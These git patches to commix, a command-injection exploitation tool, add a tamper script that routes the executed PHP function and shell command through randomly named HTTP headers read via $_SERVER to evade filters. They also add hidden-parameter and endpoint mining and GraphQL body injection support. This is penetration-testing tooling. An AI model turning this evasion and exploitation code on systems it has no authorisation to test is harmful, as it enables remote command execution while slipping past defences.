that measures what came back - a +length, a byte at an offset, a number - measures the nothing instead, and reads it as no answer. +""" +def _time_related_incompatible(): + if settings.TIME_RELATED_ATTACK: + return "The '" + __tamper__ + ".py' tamper script needs a technique that reads its result from the page. Skipping tamper script." + +""" +The function the command is handed to. + +It has to be one that prints what it runs rather than returning it. What is left in the payload is +an interpolation, which is what reaches an evaluated string at all - and what an interpolation +evaluates to is a variable name, not a value, so nothing a function returned survives it. The output +has to have reached the page by itself before then. +""" +EXECUTION_FUNCTION = "system" + +# The backtick operator, which is how a payload of this grammar runs a command. +BACKTICK_COMMAND = r"`([^`]*)`" + +# How many characters a generated header name carries. +NAME_LENGTH = 6 + +""" +The headers the payload built here is going to read, waiting for the request that carries it. + +Thread-local, because a payload is tampered and then sent by the one worker that built it, while +several of them are doing the same thing at once - shared, one worker's headers would travel on +another's request and both would arrive naming something that is not there. +""" +_pending = threading.local() + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +""" +A header name of no meaning, drawn again for every payload. + +Mixed case and digits, because the name is never read back as it is written - PHP upper-cases it +before it reaches '$_SERVER' - and a name that is always spelled the same way is a name to match on. +Carrying no prefix for the same reason: 'X-' is three characters of pattern in every payload that +names one, and a header is no less deliverable without it. A letter leads, since a name opening on +a digit is the one thing about it that would stand out. +""" +def _header_name(): + alphabet = string.ascii_letters + string.digits + return random.choice(string.ascii_letters) + "".join(random.choice(alphabet) for _ in range(NAME_LENGTH - 1)) + +""" +What PHP calls a header once it has put it in '$_SERVER'. +""" +def _server_key(name): + return "HTTP_" + name.upper().replace("-", "_") + +""" +Whether a command can travel in a header at all. + +A header value is a line, so one carrying a line break is left where it is rather than sent as +something the target would read as the end of the header. +""" +def _sendable(command): + return command and not re.search(r"[\r\n\x00]", command) + +""" +Run the command through a name and an argument the payload never spells out. + +What is left in the payload is the shape of a call and nothing of what it calls: the function is a +string read out of one header, the command a string read out of another, and neither appears in the +parameter the request is testing. The two are drawn together and travel on the same request, so a +filter reading either half sees a name of no meaning and a header of no meaning. +""" +def tamper(payload): + commands = [] + function_header = _header_name() + taken = set([function_header.lower()]) + + def _through_headers(match): + command = match.group(1) + if not _sendable(command): + return match.group(0) + while True: + command_header = _header_name() + if command_header.lower() not in taken: + break + taken.add(command_header.lower()) + commands.append((command_header, command)) + return "${$_SERVER['" + _server_key(function_header) + "']($_SERVER['" + _server_key(command_header) + "'])}" + + tampered = re.sub(BACKTICK_COMMAND, _through_headers, payload) + # Only where something was actually moved out: a payload that runs no command has no function to + # name either, and a header naming one would be the only odd thing about the request. + if commands: + _pending.headers = [(function_header, EXECUTION_FUNCTION)] + commands + return tampered + +""" +Put the headers the payload is about to read onto the request that carries it. + +Cleared as they are used, so a request built without a payload of this shape - the ones a run makes +before and between its injections - does not carry the last payload's headers. +""" +def apply_headers(request): + for name, value in getattr(_pending, "headers", []): + request.add_header(name, value) + _pending.headers = [] + +# eof diff --git a/src/utils/har.py b/src/utils/har.py index 52f7ca69d4..d9edf02f95 100644 --- a/src/utils/har.py +++ b/src/utils/har.py @@ -49,7 +49,13 @@ def active(): A header list in the shape the format asks for. """ def _headers(items): - return [{"name": str(name), "value": str(value)} for name, value in items] + # A header commix built from bytes is the bytes it will send, and str() of those is the way Python + # writes them down rather than what goes on the wire. + def _text(value): + if isinstance(value, bytes): + return value.decode(settings.DEFAULT_CODEC, errors="replace") + return str(value) + return [{"name": _text(name), "value": _text(value)} for name, value in items] """ A body as text, or as base64 where it is not text at all. diff --git a/src/utils/settings.py b/src/utils/settings.py index e208258207..d1acc7f9ed 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "166" +REVISION = "167" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -469,6 +469,15 @@ def sys_argv_errors(): shortens it without changing what the target reads - taken in turn, and only while it is still over length, so a request that was never near the limit is encoded exactly as any other. """ +""" +What '--skip-urlencode' still leaves encoded: nothing that a URL can carry as itself. + +Every printable ASCII character bar the space, which a request line cannot hold - so a payload +written with separators, quotes and brackets arrives spelled the way it was written, while a +non-ASCII byte is still encoded and the request stays a valid one. +""" +SKIP_URLENCODE_SAFE_CHARS = "".join(chr(_) for _ in range(33, 127)) + URLENCODE_CHAR_LIMIT = 2000 URLENCODE_FAILSAFE_CHARS = "()|," @@ -1592,6 +1601,7 @@ class AUTH_TYPE(object): # Tamper scripts dict TAMPER_SCRIPTS = { + "phpserverheaders": False, "space2ifs": False, "space2plus": False, "space2htab": False, @@ -1840,6 +1850,9 @@ class END_LINE: # Retries when the connection timeouts (Default: 3). MAX_RETRIES = 3 +# Said once per target, where the retries ran out on a page '--retry-on' still matches. +RETRY_ON_EXHAUSTED = False + # Failed writes to the web root, at most, before the temporary directory is offered instead. A # smaller set of boundaries than this is gone through in full first, rather than stopped one short. MAX_FAILED_TRIES = 50 From 6e1682358286994299e133d7faff8bf2d852f90a Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 27 Sep 2026 09:30:43 +0300 Subject: [PATCH 0833/1023] Added new switches `--mine-params` and `--mine-endpoints` for finding the parameters a target reads but names nowhere, and the endpoints only its own scripts name --- data/txt/common-parameters.txt | 149 ++++++++++++++++++++++++ doc/CHANGELOG.md | 1 + src/core/main.py | 7 ++ src/core/parse/cmdline.py | 12 ++ src/core/requests/mining.py | 201 +++++++++++++++++++++++++++++++++ src/utils/crawler.py | 7 ++ src/utils/settings.py | 25 +++- 7 files changed, 401 insertions(+), 1 deletion(-) create mode 100644 data/txt/common-parameters.txt create mode 100644 src/core/requests/mining.py diff --git a/data/txt/common-parameters.txt b/data/txt/common-parameters.txt new file mode 100644 index 0000000000..742c69d119 --- /dev/null +++ b/data/txt/common-parameters.txt @@ -0,0 +1,149 @@ +# Candidate parameter names for '--mine-params', ordered by how often the value behind them is +# handed to a shell rather than by how often the name itself appears. +addr +address +host +hostname +ip +ipaddr +ping +target +domain +server +node +peer +url +uri +link +src +source +dest +destination +redirect +next +cmd +command +exec +execute +run +do +action +op +operation +func +function +method +call +task +job +script +shell +sh +bash +proc +process +sys +system +eval +code +expr +query +q +search +filter +term +keyword +file +filename +fname +path +dir +directory +folder +document +doc +page +name +user +username +account +login +id +uid +pid +key +value +val +data +input +output +arg +args +param +params +option +opts +config +setting +mode +type +kind +format +fmt +ext +lang +locale +charset +encoding +port +proto +protocol +scheme +method_type +time +date +timeout +delay +interval +count +limit +offset +size +length +level +depth +debug +test +trace +log +logfile +msg +message +text +content +body +template +tpl +view +layout +theme +style +callback +cb +jsonp +token +hash +sig +ref +referer +origin +device +agent +platform +os +arch +version +release +branch +tag +env diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 7b1d06e1c6..4ffe6826a8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New switches `--mine-params` and `--mine-endpoints` for finding the parameters a target reads but names nowhere, and the endpoints only its own scripts name. * Added: New tamper script `phpserverheaders.py` that moves the function and the command out of the payload and into HTTP headers it reads back through `$_SERVER`. * Added: New options `--preprocess` and `--postprocess` for reshaping a request before it is sent and a response before the run reads it, which a tamper script cannot reach. * Added: New options `--test-filter` and `--test-skip` for choosing which payload boundaries a technique is tried with. diff --git a/src/core/main.py b/src/core/main.py index 96715a148b..f994c37ad8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -38,6 +38,7 @@ from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests +from src.core.requests import mining from src.core.requests import redirection from src.core.requests import hooks from src.core.controller import checks @@ -790,6 +791,12 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) + # Named nowhere by the target and answered to all the same, so tested like any other parameter. + if menu.options.mine_params: + mined = mining.mine_parameters(url, http_request_method) + if mined: + url = url + ("&" if "?" in url else "?") + "&".join(name + "=" + settings.MINED_PARAMETER_VALUE for name in mined) + # Retrieve everything from the supported enumeration options. if menu.options.enum_all: checks.enable_all_enumeration_options() diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 388c9279d2..8819978850 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -892,6 +892,18 @@ def banner(): default=False, help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").") +detection.add_option("--mine-params", + action="store_true", + dest="mine_params", + default=False, + help="Mine for hidden (unlinked) parameters to test.") + +detection.add_option("--mine-endpoints", + action="store_true", + dest="mine_endpoints", + default=False, + help="Mine for endpoints named in the scripts a page loads.") + detection.add_option("--skip-calc", action="store_true", dest="skip_calc", diff --git a/src/core/requests/mining.py b/src/core/requests/mining.py new file mode 100644 index 0000000000..7be19f57c2 --- /dev/null +++ b/src/core/requests/mining.py @@ -0,0 +1,201 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import random +import string +import difflib + +from src.utils import settings +from src.core.parse import cmdline as menu +from src.thirdparty.six.moves import urllib as _urllib + +""" +A name the target can have no use for, so what it answers is what it answers to anything. +""" +def _decoy(): + return "".join(random.choice(string.ascii_lowercase) for _ in range(settings.MINING_DECOY_LENGTH)) + +""" +The candidate names, as the list carries them. +""" +def _candidates(): + try: + with open(settings.PARAMETER_MINING_LIST, "r") as candidates: + return [line.strip() for line in candidates if line.strip() and not line.startswith("#")] + except IOError: + return [] + +""" +The URL with the given names appended, each carrying a value the target has no reason to know. +""" +def _with(url, names): + query = "&".join(name + "=" + _decoy() for name in names) + return url + ("&" if "?" in url else "?") + query + +""" +The page a URL answers with, read the way every other comparison in the run reads one. +""" +def _page(url, http_request_method): + from src.core.requests import headers + from src.core.requests import requests + from src.core.controller import checks + try: + request = _urllib.request.Request(url, method=http_request_method) + headers.do_check(request) + response = requests.get_request_response(request) + if response is None or isinstance(response, bool): + return None + return checks.comparable_page(checks.decode_page_body(response.read(), response)) + except Exception: + return None + +""" +The longest run of text a page carries that the one it is compared against does not. + +Taken as a length rather than as a ratio of the whole: what a parameter adds is the same handful of +characters whether the page around it is a line or a hundred kilobytes, and a ratio reads the second +as unchanged. +""" +def _inserted(control, page): + if control is None or page is None: + return 0 + runs = [end - start for tag, _, _, start, end + in difflib.SequenceMatcher(None, control, page).get_opcodes() if tag in ("insert", "replace")] + return max(runs) if runs else 0 + +""" +Whether a page answers differently from the decoys', by more than the page moves on its own. +""" +def _differs(control, page, noise=0): + return _inserted(control, page) > max(noise, settings.MINING_MINIMUM_INSERT) + +""" +What the page moves on its own, measured at its widest rather than at whichever sample came first. + +A page that answers differently at random - a rate limit, an interstitial, a cache that misses - can +hand back the same answer twice and read as a page that never moves, which leaves the next answer of +the other kind looking like a parameter. +""" +def _noise(url, samples, http_request_method): + pages = [page for page in samples if page is not None] + widest = 0 + for index, page in enumerate(pages): + for other in pages[index + 1:]: + widest = max(widest, _inserted(page, other), _inserted(other, page)) + return widest + +""" +Whether a name answers differently every time it is asked, rather than once. + +A page that moves on its own answers differently now and then whatever it is sent, so a name is kept +only where the difference is there each time it is looked for. +""" +def _confirmed(url, name, control, noise, http_request_method): + for _ in range(settings.MINING_CONFIRMATIONS): + if not _differs(control, _page(_with(url, [name]), http_request_method), noise): + return False + return True + +""" +The names in a bucket the target answers to, found by halving the bucket rather than by asking for +each name on its own - a bucket that changes nothing is one request for every name in it. +""" +def _narrow(url, bucket, control, noise, http_request_method): + if len(bucket) == 1: + return list(bucket) if _confirmed(url, bucket[0], control, noise, http_request_method) else [] + middle = len(bucket) // 2 + found = [] + for half in (bucket[:middle], bucket[middle:]): + if _differs(control, _page(_with(url, half), http_request_method), noise): + found += _narrow(url, half, control, noise, http_request_method) + return found + +""" +The parameters a target answers to without naming them anywhere. + +Each bucket of candidates is asked for in one request and only a bucket that changes the page is +taken apart, so the cost is the buckets rather than the names. +""" +def mine_parameters(url, http_request_method): + names = [name for name in _candidates() if (name + "=") not in url] + if not names: + return [] + info_msg = "Mining for parameters the target answers to but does not name." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + size = settings.PARAMETER_MINING_BUCKET + control = _page(_with(url, [_decoy() for _ in range(size)]), http_request_method) + if control is None: + return [] + # Several answers to names the target cannot know either, so that what the page moves on its own is + # measured rather than read as an answer. + samples = [control] + [_page(_with(url, [_decoy() for _ in range(size)]), http_request_method) + for _ in range(settings.MINING_NOISE_SAMPLES)] + noise = _noise(url, samples, http_request_method) + found = [] + for index in range(0, len(names), size): + bucket = names[index:index + size] + if _differs(control, _page(_with(url, bucket), http_request_method), noise): + found += _narrow(url, bucket, control, noise, http_request_method) + if found: + info_msg = "The target answers to '" + "', '".join(found) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return found + +""" +The scripts a page loads from the same host, which the crawler passes over on its way to the links. +""" +def script_sources(url, content): + sources = [] + for match in re.finditer(r'(?i)<script[^>]+src=["\']([^"\']+\.js[^"\']*)["\']', content or ""): + href = _urllib.parse.urljoin(url, match.group(1)) + if _urllib.parse.urlparse(url).netloc in href and href not in sources: + sources.append(href) + return sources[:settings.MAX_MINED_SCRIPTS] + +""" +The endpoints written into a script, which a page never links to and a crawler never reaches. +""" +def endpoints_in(url, script): + found = [] + for match in re.finditer(r"""["'](/[A-Za-z0-9_\-./]{2,}(?:\.\w{2,5}(?:\?[^"']*)?|\?[^"']*))["']""", script or ""): + href = _urllib.parse.urljoin(url, match.group(1)) + if href not in found: + found.append(href) + return found + +""" +The endpoints the scripts a page loads name, read once per script and bounded by size. +""" +def mine_endpoints(url, content, http_request_method): + from src.core.requests import headers + from src.core.requests import requests + from src.core.controller import checks + found = [] + for source in script_sources(url, content): + try: + request = _urllib.request.Request(source, method=settings.HTTPMETHOD.GET) + headers.do_check(request) + response = requests.get_request_response(request) + if response is None or isinstance(response, bool): + continue + script = checks.decode_page_body(response.read()[:settings.MAX_MINED_SCRIPT_SIZE], response) + except Exception: + continue + for href in endpoints_in(source, script): + if href not in found: + found.append(href) + return found diff --git a/src/utils/crawler.py b/src/utils/crawler.py index a9f8a37915..7a3ad7c769 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -310,6 +310,13 @@ def do_process(url, http_request_method): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) + # Named in the scripts a page loads, which nothing on the page links to. + if menu.options.mine_endpoints: + from src.core.requests import mining + for href in mining.mine_endpoints(url, content, http_request_method): + if checks.in_scope(href): + identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) + if menu.options.forms: for form in soup('form'): action_url = _urllib.parse.urljoin(url, form.get("action") or url) diff --git a/src/utils/settings.py b/src/utils/settings.py index d1acc7f9ed..d2002b9d40 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "167" +REVISION = "168" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1543,6 +1543,29 @@ def strip_ansi_codes(text): # Path to file containing mobile User-Agent strings MOBILE_USER_AGENT_LIST = os.path.join(TXT_DIR, "mobile-user-agents.txt") +# The candidate names '--mine-params' works through, and how many of them go in one request. +PARAMETER_MINING_LIST = os.path.join(TXT_DIR, "common-parameters.txt") +PARAMETER_MINING_BUCKET = 25 + +# Long enough that a name carrying it cannot be one the target has a use for. +MINING_DECOY_LENGTH = 8 + +# How much text a candidate has to add to a page, past what the page moves on its own, to count. +MINING_MINIMUM_INSERT = 16 + +# How many answers to names the target cannot know are read before one it might know is asked for. +MINING_NOISE_SAMPLES = 3 + +# How many times over a name has to answer differently before it is taken as one the target reads. +MINING_CONFIRMATIONS = 2 + +# What a mined parameter is given to carry, having no value of its own to go by. +MINED_PARAMETER_VALUE = "1" + +# What '--mine-endpoints' reads per page, and how much of each script. +MAX_MINED_SCRIPTS = 20 +MAX_MINED_SCRIPT_SIZE = 1 * 1024 * 1024 + # Path to file with default username values USERNAMES_TXT_FILE = os.path.join(TXT_DIR, "default_usernames.txt") From 94c5522477c726718ce8955ab63d247cd9ac9b41 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 27 Sep 2026 09:31:59 +0300 Subject: [PATCH 0834/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 13 ++++++ src/core/controller/controller.py | 2 + src/core/requests/headers.py | 2 + src/core/requests/parameters.py | 69 +++++++++++++++++++++++++++++-- src/core/requests/requests.py | 3 ++ src/utils/settings.py | 15 ++++++- 6 files changed, 100 insertions(+), 4 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index f419148e12..066dcf59a0 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -3899,6 +3899,19 @@ def is_empty(multi_parameters, http_request_method): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return False +""" +A payload as it is written inside a document's string, which quotes the way a JSON string does. +""" +def graphql_escape_payload(payload): + return payload.replace("\\", "\\\\").replace("\"", "\\\"") + +# Check if a GraphQL document, which is a body that names an operation and carries a selection set. +def is_GraphQL_check(parameter): + try: + return bool(re.search(settings.GRAPHQL_RECOGNITION_REGEX, parameter.replace(settings.INJECT_TAG, ""))) + except (ValueError, TypeError): + return False + # Check if valid SOAP/XML def is_XML_check(parameter): try: diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 2df1cae6f2..6dc9197175 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -180,6 +180,8 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites # A structured body escapes for itself; a form-encoded one needs the payload encoded for it. if settings.IS_JSON: body_payload = payload + elif settings.IS_GRAPHQL: + body_payload = checks.graphql_escape_payload(payload) elif settings.IS_XML: body_payload = checks.xml_encode_payload(checks.strip_xml_forbidden(payload)) else: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 44b2537478..6fe500a5c2 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -716,6 +716,8 @@ def do_check(request): request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + elif re.search(settings.GRAPHQL_RECOGNITION_REGEX, menu.options.data): + request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_GRAPHQL_HEADER_VALUE) # Default value for "Accept-Encoding" HTTP header if not (menu.options.requestfile or menu.options.logfile): diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index c00bb3c602..832240bf01 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -323,6 +323,9 @@ def multi_params_get_value(param, all_params): if (len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or is_empty_json_object(all_params[0])))): checks.no_parameters_found() + if settings.IS_GRAPHQL: + return graphql_value(all_params[param]) + if settings.IS_JSON: try: # Single-parameter case: flatten to get the leaf value. @@ -418,6 +421,13 @@ def configure_post_data_format(parameter, http_request_method): checks.warn_on_duplicate_json_keys(parameter) if supplied is not None: settings.JSON_FORMATTING = checks.json_formatting(supplied) + # Check if GraphQL document. + elif checks.is_GraphQL_check(parameter): + if not settings.IS_GRAPHQL: + data_type = "GraphQL" + settings.IS_GRAPHQL = checks.process_data(data_type, http_request_method) + settings.POST_DATA_PARAM_DELIMITER = "" + # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: @@ -433,11 +443,48 @@ def configure_post_data_format(parameter, http_request_method): return None return parameter +""" +The document cut after each argument it carries, so that the pieces joined again are the document. + +Everything between two arguments travels with the one before it, and whatever follows the last one +travels with it - so every piece holds exactly one argument, which is what the rest of the run tests. +""" +def graphql_fragments(document): + matches = list(re.finditer(settings.GRAPHQL_ARGUMENT_REGEX, document)) + if not matches: + return [document] + fragments = [] + start = 0 + for position, match in enumerate(matches): + end = len(document) if position == len(matches) - 1 else match.end() + fragments.append(document[start:end]) + start = end + return fragments + +""" +The string an argument is given, taken from the piece of the document that carries it. +""" +def graphql_value(fragment): + match = re.search(settings.GRAPHQL_ARGUMENT_REGEX, fragment) + return match.group(2) if match else "" + +""" +The argument a document carried inside a JSON envelope gives, as the body itself spells it. + +A payload put at the end of the envelope's 'query' lands past the document's last brace and only +breaks it, so what is tested is the argument inside rather than the document around it. +""" +def graphql_in_json_value(body): + match = re.search(settings.GRAPHQL_ARGUMENT_ESCAPED_REGEX, body or "") + return match.group(2) if match else None + """ Split a POST body into its individual parameter fragments. """ def split_post_parameters(parameter): - if settings.IS_XML: + if settings.IS_GRAPHQL: + multi_parameters = graphql_fragments(parameter) + elif settings.IS_XML: # Expand self-closing tags; keep menu.options.data in sync. expanded_parameter = re.sub(r"<([^\s/>]+)((?:[^>]*[^/>])?)\s*/>", r"<\1\2></\1>", parameter) if expanded_parameter != parameter: @@ -466,7 +513,8 @@ def split_post_parameters(parameter): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) - if len([s for s in multi_parameters if "=" in s]) == 0 and not any((settings.IS_JSON, settings.IS_XML)): + if len([s for s in multi_parameters if "=" in s]) == 0 and \ + not any((settings.IS_JSON, settings.IS_XML, settings.IS_GRAPHQL)): checks.no_parameters_found() return multi_parameters, parameter @@ -477,8 +525,13 @@ def split_post_parameters(parameter): def handle_single_post_parameter(parameter, multi_parameters, http_request_method): if settings.INJECT_TAG not in multi_parameters[0]: # Grab the value of parameter. - if settings.IS_JSON: + if settings.IS_GRAPHQL: + value = graphql_value(multi_parameters[0]) + elif settings.IS_JSON: value = multi_params_get_value(0, checks.check_similarities([multi_parameters[0]])) + inline = graphql_in_json_value(parameter) + if inline: + value = inline elif settings.IS_XML: # Grab the value of parameter (unwrap CDATA). value = unwrap_cdata(''.join(re.findall(r'>(.*)</', parameter, re.S))) @@ -650,6 +703,16 @@ def vuln_POST_param(parameter, url): settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.TESTABLE_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + # GraphQL data format. + elif settings.IS_GRAPHQL: + for name, value in re.findall(settings.GRAPHQL_ARGUMENT_REGEX, parameter): + if settings.INJECT_TAG in value: + vuln_parameter = name + settings.TESTABLE_VALUE = value.split(settings.INJECT_TAG)[0] + break + if vuln_parameter is None: + return parameter + # XML data format. elif settings.IS_XML: # Shield leaf elements before splitting into lines below. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 4e5a373959..fc13ab0d8e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -864,6 +864,9 @@ def encoded_for_url(value): data = checks.json_data(data) except ValueError: pass + elif settings.IS_GRAPHQL: + # A document is not URL-encoded either, and escapes for its own string syntax alone. + data = checks.process_injectable_value(checks.graphql_escape_payload(payload), menu.options.data) elif settings.IS_XML: # Likewise here: nothing to decode, and the characters XML cannot carry at all are dropped. data = checks.restore_xml_layout(checks.process_injectable_value(checks.xml_encode_payload(checks.strip_xml_forbidden(payload)), menu.options.data)) diff --git a/src/utils/settings.py b/src/utils/settings.py index d2002b9d40..a4e104776e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "168" +REVISION = "169" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1408,6 +1408,18 @@ def ascii_transparent_encoding(name): CHUNKED_SPLIT_KEYWORDS_REGEX = "|".join(re.escape(_) for _ in CHUNKED_SPLIT_KEYWORDS) # Regular expression used for detecting JSON POST data +# A GraphQL document, as it arrives on its own rather than inside a JSON envelope. +GRAPHQL_RECOGNITION_REGEX = r'(?s)\A\s*(?:query|mutation|subscription)\b[^{]*\{.*\}\s*\Z' + +# An argument the document carries, as the name it is written under and the string it is given. +GRAPHQL_ARGUMENT_REGEX = r'([A-Za-z_]\w*)\s*:\s*"((?:[^"\\]|\\.)*)"' + +# The same argument as a JSON envelope spells it, with the document's own quotes escaped. +GRAPHQL_ARGUMENT_ESCAPED_REGEX = r'([A-Za-z_]\w*)\s*:\s*\\"((?:[^"\\]|\\.)*?)\\"' + +# Whether the POST body is a GraphQL document. +IS_GRAPHQL = False + JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data @@ -2267,6 +2279,7 @@ class END_LINE: DEFAULT_HTTP_CONTENT_TYPE_VALUE = "application/x-www-form-urlencoded" HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "application/xml" +HTTP_CONTENT_TYPE_GRAPHQL_HEADER_VALUE = "application/graphql" # Only what the response handling can actually decompress is asked for. """ The encodings a response may arrive in. From 6f2c2515edb9106224315541f47da8b7dcd1478e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 27 Sep 2026 09:34:16 +0300 Subject: [PATCH 0835/1023] Update project information and documentation --- doc/ARCHITECTURE.md | 225 +++++++++++++++++++++++++++++++++++++++ doc/AUTHOR | 2 - doc/AUTHOR.md | 7 ++ doc/THANKS.md | 239 +++++++++++++++++++++++------------------- doc/THIRD-PARTY.md | 113 ++++++++++++++++++++ src/utils/settings.py | 2 +- 6 files changed, 477 insertions(+), 111 deletions(-) create mode 100644 doc/ARCHITECTURE.md delete mode 100644 doc/AUTHOR create mode 100644 doc/AUTHOR.md create mode 100644 doc/THIRD-PARTY.md diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md new file mode 100644 index 0000000000..4eb3cf3ff2 --- /dev/null +++ b/doc/ARCHITECTURE.md @@ -0,0 +1,225 @@ +# How commix is put together + +Written for somebody about to change something and wanting to know what they are standing on. It +follows a payload: where it is built, what it is wrapped in, how it leaves, what is made of the +answer, and what survives to the next target. The source settles anything this disagrees with. + +## A payload's journey + +A run is one loop around a target, and a target is one loop around its parameters. + +`commix.py` checks the interpreter and hands over to `src/core/main.py`. `run()` settles what can be +settled before there is a target at all - `src/core/startup.py: bootstrap()` - and then finds the +targets: a URL, a request file, a proxy log, a bulk file, a crawl, a sitemap, standard input. + +For each of them `main()` connects once and reads that answer for everything it can tell: the +character encoding, the web server, the technology behind it, the operating system. The page itself +is kept (`requests.capture_original_page()`), because what a parameter is later compared against, +what the forms are parsed out of and what the proof is written from all want the same page, and none +of them is worth a second request. + +Then `controller.do_check()`, and from there the shape is: + + perform_checks() which places are tested, and in what order + injection_process() one parameter: heuristics, then technique after technique + do_injection() a finding - report it, store it, go on to exploitation + +`perform_checks()` walks the URL, the POST body, the cookies, the standard headers and any custom +header. How far down that list it gets is what `--level` decides. + +## What is being injected into + +Two different things, and the distinction runs through the whole tree. + +**A shell.** The value is handed to a command. A payload is a command chained onto the original with +a separator, and what makes it work is the shell's syntax. + +**An evaluator.** The value is evaluated as code in the application's own language (`--eval`). A +shell separator means nothing here - a semicolon is a semicolon in a PHP statement, not a chain. The +payload has to be valid code in the language doing the evaluating. + +The techniques are the same for both, so the two sinks are two sets of payload builders behind one +set of handlers: + +| | shell | evaluator | +|--|-------|-----------| +| payloads | `src/core/techniques/<technique>/*_payloads.py` | `src/core/eval/payloads/<technique>.py` | +| where the syntax comes from | the target's shell | `src/core/eval/grammars/php.py`, `python.py` | + +A grammar carries its own probe, the functions that run a command, the boundaries that break into an +evaluated string and close it again, and the print statement results come back through. Teaching +commix another language is a new module in `grammars/` and nothing else. + +## The techniques + +Each one is three modules with the same shape, and reading them in this order is the fastest way to +understand any of them: + + *_payloads.py what gets sent + *_injector.py sending it and reading the answer + *_handler.py running the technique, and pulling output through it once it works + +| Technique | Package | Asked for with | Where the answer is read | +|-----------|---------|----------------|--------------------------| +| results-based | `techniques/classic/` | `--technique=r` | the page | +| dynamic code evaluation | `eval/` | `--eval=<language>` | the page | +| time-based | `techniques/time_based/` | `--technique=t` | how long the answer took | +| file-based | `techniques/file_based/` | `--technique=f` | a file under the web root | +| tempfile-based | `techniques/tempfile_based/` | under `f`, where the web root cannot be written | a file in a temporary directory | +| out-of-band | `techniques/oob/` | `--oob` | a request the target makes to a server you control | + +`AVAILABLE_TECHNIQUES` is `r`, `t`, `f` and nothing else. Out-of-band is kept out of it on purpose: +it is a switch, so that the modules can use it too, and those never go through `--technique`. The +evaluator composes 